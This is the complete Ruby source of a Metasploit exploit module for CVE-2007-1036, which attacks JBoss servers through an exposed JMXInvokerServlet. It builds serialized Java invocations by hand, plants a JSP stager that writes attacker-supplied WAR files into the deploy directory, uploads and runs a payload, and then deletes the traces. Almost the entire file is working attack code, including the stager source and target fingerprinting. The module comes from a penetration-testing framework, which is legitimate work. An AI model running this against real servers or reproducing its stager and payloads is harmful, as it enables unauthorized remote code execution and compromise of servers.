metasploit-framework/modules/exploits/multi/http/jboss_invoke_deploy.rb

741 lines
24 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /JBoss/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)',
'Description' => %q{
This module can be used to execute a payload on JBoss servers that have an
exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking
the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed
to finally upload the selected payload to the target. The DeploymentFileRepository
methods are only available on Jboss 4.x and 5.x.
},
'Author' => [
'Patrick Hof', # Vulnerability discovery, analysis and PoC
'Jens Liebchen', # Vulnerability discovery, analysis and PoC
'h0ng10' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-1036' ],
[ 'OSVDB', '33744' ],
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
],
'DisclosureDate' => 'Feb 20 2007',
'Privileged' => true,
'Platform' => %w{ java linux win },
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
# do target detection but java meter by default
[ 'Automatic',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
},
],
#
# Platform specific targets
#
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
},
],
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('TARGETURI', [ true, 'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]),
], self.class)
end
def check
res = send_serialized_request('version')
if res.nil?
vprint_error('Connection timed out')
return Exploit::CheckCode::Unknown
elsif res.code != 200
vprint_error("Unable to request version, returned http code is: #{res.code.to_s}")
return Exploit::CheckCode::Unknown
end
# Check if the version is supported by this exploit
return Exploit::CheckCode::Appears if res.body =~ /CVSTag=Branch_4_/
return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_4_/
return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/
if res.body =~ /ServletException/ # Simple check, if we caused an exception.
vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit')
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
mytarget = target
if target.name =~ /Automatic/
mytarget = auto_target
fail_with(Failure::BadConfig, 'Unable to automatically select a target') unless mytarget
print_status("Automatically selected target: \"#{mytarget.name}\"")
else
print_status("Using manually select target: \"#{mytarget.name}\"")
end
# We use a already serialized stager to deploy the final payload
regex_stager_app_base = rand_text_alpha(14)
regex_stager_jsp_name = rand_text_alpha(14)
name_parameter = rand_text_alpha(8)
content_parameter = rand_text_alpha(8)
stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
replace_values = {
'regex_app_base' => regex_stager_app_base,
'regex_jsp_name' => regex_stager_jsp_name,
'jsp_code' => generate_stager(name_parameter, content_parameter)
}
print_status('Deploying stager')
send_serialized_request('installstager', replace_values)
print_status("Calling stager: #{stager_uri}")
call_uri_mtimes(stager_uri, 5, 'GET')
# Generate the WAR with the payload which will be uploaded through the stager
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
war_data = payload.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s
b64_war = Rex::Text.encode_base64(war_data)
print_status("Uploading payload through stager")
res = send_request_cgi({
'uri' => stager_uri,
'method' => "POST",
'vars_post' =>
{
name_parameter => app_base,
content_parameter => b64_war
}
})
payload_uri = "/#{app_base}/#{jsp_name}.jsp"
print_status("Calling payload: " + payload_uri)
res = call_uri_mtimes(payload_uri,5, 'GET')
# Remove the payload through stager
print_status('Removing payload through stager')
delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
res = send_request_cgi({'uri' => delete_payload_uri})
# Remove the stager
print_status('Removing stager')
send_serialized_request('removestagerfile', replace_values)
send_serialized_request('removestagerdirectory', replace_values)
handler
end
def generate_stager(name_param, content_param)
war_file = rand_text_alpha(4+rand(4))
file_content = rand_text_alpha(4+rand(4))
jboss_home = rand_text_alpha(4+rand(4))
decoded_content = rand_text_alpha(4+rand(4))
path = rand_text_alpha(4+rand(4))
fos = rand_text_alpha(4+rand(4))
name = rand_text_alpha(4+rand(4))
file = rand_text_alpha(4+rand(4))
stager_script = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String #{file_content} = "";
String #{war_file} = "";
String #{jboss_home} = System.getProperty("jboss.server.home.dir");
if (request.getParameter("#{content_param}") != null){
try {
#{file_content} = request.getParameter("#{content_param}");
#{war_file} = request.getParameter("#{name_param}");
byte[] #{decoded_content} = new BASE64Decoder().decodeBuffer(#{file_content});
String #{path} = #{jboss_home} + "/deploy/" + #{war_file} + ".war";
FileOutputStream #{fos} = new FileOutputStream(#{path});
#{fos}.write(#{decoded_content});
#{fos}.close();
}
catch(Exception e) {}
}
else {
try{
String #{name} = request.getParameter("#{name_param}");
String #{file} = #{jboss_home} + "/deploy/" + #{name} + ".war";
new File(#{file}).delete();
}
catch(Exception e) {}
}
%>
EOT
end
def send_serialized_request(operation , replace_params = {})
data = ''
case operation
when 'version'
data = build_get_version.encode
when 'osname'
data = build_get_os.encode
when 'osarch'
data = build_get_arch.encode
when 'installstager'
data = build_install_stager(
war_name: replace_params['regex_app_base'],
jsp_name: replace_params['regex_jsp_name'],
data: replace_params['jsp_code']
).encode
when 'removestagerfile'
data = build_delete_stager_file(
dir: "#{replace_params['regex_app_base']}.war",
file: replace_params['regex_jsp_name'],
extension: '.jsp'
).encode
when 'removestagerdirectory'
data = build_delete_stager_file(
dir: './',
file: replace_params['regex_app_base'],
extension: '.war'
).encode
else
fail_with(Failure::Unknown, "#{peer} - Unexpected operation")
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'data' => data,
'headers' =>
{
'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation',
'Accept' => 'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2'
}
}, 25)
unless res && res.code == 200
print_error("Failed: Error requesting preserialized request #{operation}")
return nil
end
res
end
def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
# JBoss might need some time for the deployment. Try 5 times at most and
# wait 5 seconds inbetween tries
num_attempts.times do |attempt|
if verb == "POST"
res = send_request_cgi(
{
'uri' => uri,
'method' => verb,
'data' => data
}, 5)
else
uri += "?#{data}" unless data.nil?
res = send_request_cgi(
{
'uri' => uri,
'method' => verb
}, 30)
end
msg = nil
if res.nil?
msg = "Execution failed on #{uri} [No Response]"
elsif res.code < 200 || res.code >= 300
msg = "http request failed to #{uri} [#{res.code}]"
elsif res.code == 200
print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
return res
end
if attempt < num_attempts - 1
msg << ', retrying in 5 seconds...'
print_status(msg) if datastore['VERBOSE']
select(nil, nil, nil, 5)
else
print_error(msg)
return res
end
end
end
def auto_target
print_status('Attempting to automatically select a target')
plat = detect_platform
arch = detect_architecture
return nil unless arch && plat
# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
# no matching target found
return nil
end
# Try to autodetect the target platform
def detect_platform
print_status('Attempting to automatically detect the platform')
res = send_serialized_request('osname')
if res.body =~ /(Linux|FreeBSD|Windows)/i
os = $1
if os =~ /Linux/i
return 'linux'
elsif os =~ /FreeBSD/i
return 'linux'
elsif os =~ /Windows/i
return 'win'
end
end
nil
end
# Try to autodetect the architecture
def detect_architecture
print_status('Attempting to automatically detect the architecture')
res = send_serialized_request('osarch')
if res.body =~ /(i386|x86)/i
arch = $1
if arch =~ /i386|x86/i
return ARCH_X86
# TODO, more
end
end
nil
end
def build_get_version
builder = Rex::Java::Serialization::Builder.new
object_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=Server')
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object_array
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'Version')
build_invocation(stream)
end
def build_get_os
builder = Rex::Java::Serialization::Builder.new
object_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo')
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object_array
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSName')
build_invocation(stream)
end
def build_get_arch
builder = Rex::Java::Serialization::Builder.new
object_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.system:type=ServerInfo')
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object_array
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'OSArch')
build_invocation(stream)
end
def build_install_stager(opts = {})
war_name = "#{opts[:war_name]}.war"
jsp_name = opts[:jsp_name] || ''
extension = opts[:extension] || '.jsp'
data = opts[:data] || ''
builder = Rex::Java::Serialization::Builder.new
object_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'),
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::Utf.new(nil, 'store')
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
values_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, war_name),
Rex::Java::Serialization::Model::Utf.new(nil, jsp_name),
Rex::Java::Serialization::Model::Utf.new(nil, extension),
Rex::Java::Serialization::Model::Utf.new(nil, data),
builder.new_object(
name: 'java.lang.Boolean',
serial: 0xcd207280d59cfaee,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
fields: [['boolean', 'value']],
data: [['boolean', 0]]
)
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
types_array = builder.new_array(
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'boolean')
],
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object_array
stream.contents << values_array
stream.contents << types_array
build_invocation_deploy(stream)
end
def build_delete_stager_file(opts = {})
dir = opts[:dir] || ''
file = opts[:file] || ''
extension = opts[:extension] || '.jsp'
builder = Rex::Java::Serialization::Builder.new
object_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository'),
Rex::Java::Serialization::Model::EndBlockData.new,
Rex::Java::Serialization::Model::Utf.new(nil, 'remove')
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
values_array = builder.new_array(
values_type: 'java.lang.Object;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, dir),
Rex::Java::Serialization::Model::Utf.new(nil, file),
Rex::Java::Serialization::Model::Utf.new(nil, extension)
],
name: '[Ljava.lang.Object;',
serial: 0x90ce589f1073296c,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
types_array = builder.new_array(
values_type: 'java.lang.String;',
values: [
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String'),
Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.String')
],
name: '[Ljava.lang.String;',
serial: 0xadd256e7e91d7b47,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
stream.contents << object_array
stream.contents << values_array
stream.contents << types_array
build_invocation_deploy(stream)
end
def build_invocation(stream_argument)
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
null_stream = build_null_stream
null_stream_enc = null_stream.encode
null_stream_value = [null_stream_enc.length].pack('N')
null_stream_value << null_stream_enc
null_stream_value << "\xfb\x57\xa7\xaa"
stream_argument_enc = stream_argument.encode
stream_argument_value = [stream_argument_enc.length].pack('N')
stream_argument_value << stream_argument_enc
stream_argument_value << "\x7b\x87\xa0\xfb"
stream.contents << build_marshalled_invocation
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x97\x51\x4d\xdd\xd4\x2a\x42\xaf")
stream.contents << build_integer(647347722)
stream.contents << build_marshalled_value
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, stream_argument_value)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01")
stream.contents << build_invocation_key(5)
stream.contents << build_marshalled_value
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x02")
stream.contents << build_invocation_key(4)
stream.contents << build_invocation_type(1)
stream.contents << build_invocation_key(10)
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream
end
def build_invocation_deploy(stream_argument)
builder = Rex::Java::Serialization::Builder.new
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = []
null_stream = build_null_stream
null_stream_enc = null_stream.encode
null_stream_value = [null_stream_enc.length].pack('N')
null_stream_value << null_stream_enc
null_stream_value << "\xfb\x57\xa7\xaa"
stream_argument_enc = stream_argument.encode
stream_argument_value = [stream_argument_enc.length].pack('N')
stream_argument_value << stream_argument_enc
stream_argument_value << "\x7b\x87\xa0\xfb"
stream.contents << build_marshalled_invocation
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x78\x94\x98\x47\xc1\xd0\x53\x87")
stream.contents << build_integer(647347722)
stream.contents << build_marshalled_value
stream.contents << Rex::Java::Serialization::Model::BlockDataLong.new(nil, stream_argument_value)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x01")
stream.contents << build_invocation_key(5)
stream.contents << build_marshalled_value
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, null_stream_value)
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x03")
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'JMX_OBJECT_NAME')
stream.contents << builder.new_object(
name: 'javax.management.ObjectName',
serial: 0xf03a71beb6d15cf,
flags: 3,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jboss.admin:service=DeploymentFileRepository')
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream.contents << build_invocation_key(4)
stream.contents << build_invocation_type(1)
stream.contents << build_invocation_key(10)
stream.contents << Rex::Java::Serialization::Model::NullReference.new
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
stream
end
def build_marshalled_invocation
builder = Rex::Java::Serialization::Builder.new
builder.new_object(
name: 'org.jboss.invocation.MarshalledInvocation',
serial: 0xf6069527413ea4be,
flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
end
def build_marshalled_value
builder = Rex::Java::Serialization::Builder.new
builder.new_object(
name: 'org.jboss.invocation.MarshalledValue',
serial: 0xeacce0d1f44ad099,
flags: Rex::Java::Serialization::SC_BLOCK_DATA | Rex::Java::Serialization::SC_EXTERNALIZABLE,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
)
end
def build_invocation_key(ordinal)
builder = Rex::Java::Serialization::Builder.new
builder.new_object(
name: 'org.jboss.invocation.InvocationKey',
serial: 0xb8fb7284d79385f9,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
fields: [
['int', 'ordinal']
],
data:[
['int', ordinal]
]
)
end
def build_invocation_type(ordinal)
builder = Rex::Java::Serialization::Builder.new
builder.new_object(
name: 'org.jboss.invocation.InvocationType',
serial: 0x59a73a1ca52b7cbf,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
fields: [
['int', 'ordinal']
],
data:[
['int', ordinal]
]
)
end
def build_integer(value)
builder = Rex::Java::Serialization::Builder.new
builder.new_object(
name: 'java.lang.Integer',
serial: 0x12e2a0a4f7818738,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
super_class: builder.new_class(
name: 'java.lang.Number',
serial: 0x86ac951d0b94e08b,
annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
),
fields: [
['int', 'value']
],
data:[
['int', value]
]
)
end
def build_null_stream
stream = Rex::Java::Serialization::Model::Stream.new
stream.contents = [Rex::Java::Serialization::Model::NullReference.new]
stream
end
end